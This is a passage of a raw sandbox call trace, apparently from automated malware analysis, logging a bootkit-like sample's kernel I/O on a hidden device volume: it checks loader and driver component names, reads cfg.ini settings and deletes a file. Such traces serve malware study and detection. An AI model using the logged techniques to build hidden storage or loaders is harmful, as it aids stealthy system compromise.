_snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.119] KeEnterCriticalRegion () [0122.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.119] ExFreePoolWithTag (P=0xfffffa8003bcaca0, Tag=0x0) [0122.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.119] KeLeaveCriticalRegion () [0122.119] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.119] ReleaseMutex (hMutex=0xf0) returned 1 [0122.119] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.119] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.119] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.119] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.119] KeEnterCriticalRegion () [0122.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.119] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.119] IdePortDispatch () returned 0x103 [0122.119] KeWaitForMutexObject () returned 0x0 [0122.119] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.119] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.119] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.119] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.119] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.119] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.120] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.120] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.120] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.120] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.120] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.120] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.120] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.120] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.120] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.120] KeLeaveCriticalRegion () [0122.120] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.120] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.120] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.120] KeEnterCriticalRegion () [0122.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.120] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.120] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.120] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.120] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.120] IdePortDispatch () returned 0x103 [0122.120] KeWaitForMutexObject () returned 0x0 [0122.120] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.120] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.120] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.120] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.120] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.120] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.120] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.120] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.120] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.120] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.120] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.120] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.120] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.120] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.120] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.120] KeLeaveCriticalRegion () [0122.120] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.120] ReleaseMutex (hMutex=0x100) returned 1 [0122.121] Sleep (dwMilliseconds=0x2bf20) [0122.128] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bfe04b0, dwHighDateTime=0x1d24fa4)) [0122.128] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.128] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.128] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.128] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.128] KeEnterCriticalRegion () [0122.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.128] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.128] IdePortDispatch () returned 0x103 [0122.128] KeWaitForMutexObject () returned 0x0 [0122.128] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.128] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.129] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.129] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.129] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.129] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be37a0 [0122.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.129] KeLeaveCriticalRegion () [0122.129] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.129] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.129] KeEnterCriticalRegion () [0122.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.129] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.129] KeLeaveCriticalRegion () [0122.129] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.129] KeEnterCriticalRegion () [0122.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.129] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.129] IdePortDispatch () returned 0x103 [0122.129] KeWaitForMutexObject () returned 0x0 [0122.129] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.129] KeLeaveCriticalRegion () [0122.129] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.129] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.129] KeEnterCriticalRegion () [0122.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.129] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c30000 [0122.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.129] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.129] IdePortDispatch () returned 0x103 [0122.130] KeWaitForMutexObject () returned 0x0 [0122.130] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.130] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.130] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.130] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.130] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.130] IdePortDispatch () returned 0x103 [0122.130] KeWaitForMutexObject () returned 0x0 [0122.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.130] KeLeaveCriticalRegion () [0122.130] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.130] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.130] KeEnterCriticalRegion () [0122.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.130] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.131] KeLeaveCriticalRegion () [0122.131] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.131] KeEnterCriticalRegion () [0122.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.131] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.131] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.131] KeLeaveCriticalRegion () [0122.131] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.131] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.131] KeEnterCriticalRegion () [0122.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.131] ExFreePoolWithTag (P=0xfffffa8003be37a0, Tag=0x0) [0122.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.131] KeLeaveCriticalRegion () [0122.131] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.131] ReleaseMutex (hMutex=0xf0) returned 1 [0122.131] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.131] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.131] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.131] KeEnterCriticalRegion () [0122.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.131] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.131] IdePortDispatch () returned 0x103 [0122.131] KeWaitForMutexObject () returned 0x0 [0122.131] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.131] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.131] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.131] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.131] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.131] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3390 [0122.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.131] KeLeaveCriticalRegion () [0122.131] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.132] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.132] KeEnterCriticalRegion () [0122.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.132] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.132] KeLeaveCriticalRegion () [0122.132] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.132] KeEnterCriticalRegion () [0122.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.132] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.132] IdePortDispatch () returned 0x103 [0122.132] KeWaitForMutexObject () returned 0x0 [0122.132] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.132] KeLeaveCriticalRegion () [0122.132] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.132] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.132] KeEnterCriticalRegion () [0122.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.132] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c31000 [0122.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.132] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.132] IdePortDispatch () returned 0x103 [0122.132] KeWaitForMutexObject () returned 0x0 [0122.133] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.133] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.133] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.133] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.133] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.133] IdePortDispatch () returned 0x103 [0122.133] KeWaitForMutexObject () returned 0x0 [0122.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.133] KeLeaveCriticalRegion () [0122.133] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.133] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.133] KeEnterCriticalRegion () [0122.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.133] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.133] KeLeaveCriticalRegion () [0122.133] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.133] KeEnterCriticalRegion () [0122.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.133] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.133] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.133] KeLeaveCriticalRegion () [0122.134] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.134] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.134] KeEnterCriticalRegion () [0122.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.134] ExFreePoolWithTag (P=0xfffffa8003be3390, Tag=0x0) [0122.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.134] KeLeaveCriticalRegion () [0122.134] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.134] ReleaseMutex (hMutex=0xf0) returned 1 [0122.134] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.134] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.134] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.134] KeEnterCriticalRegion () [0122.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.134] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.134] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.134] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.134] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.134] IdePortDispatch () returned 0x103 [0122.134] KeWaitForMutexObject () returned 0x0 [0122.134] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.134] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.134] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.134] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.134] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.134] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3440 [0122.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.134] KeLeaveCriticalRegion () [0122.134] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.134] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.134] KeEnterCriticalRegion () [0122.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.134] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.134] KeLeaveCriticalRegion () [0122.134] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.135] KeEnterCriticalRegion () [0122.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.135] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.135] IdePortDispatch () returned 0x103 [0122.135] KeWaitForMutexObject () returned 0x0 [0122.135] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.135] KeLeaveCriticalRegion () [0122.135] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.135] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.135] KeEnterCriticalRegion () [0122.135] ExAcquireFastMutexUnsafe (in: 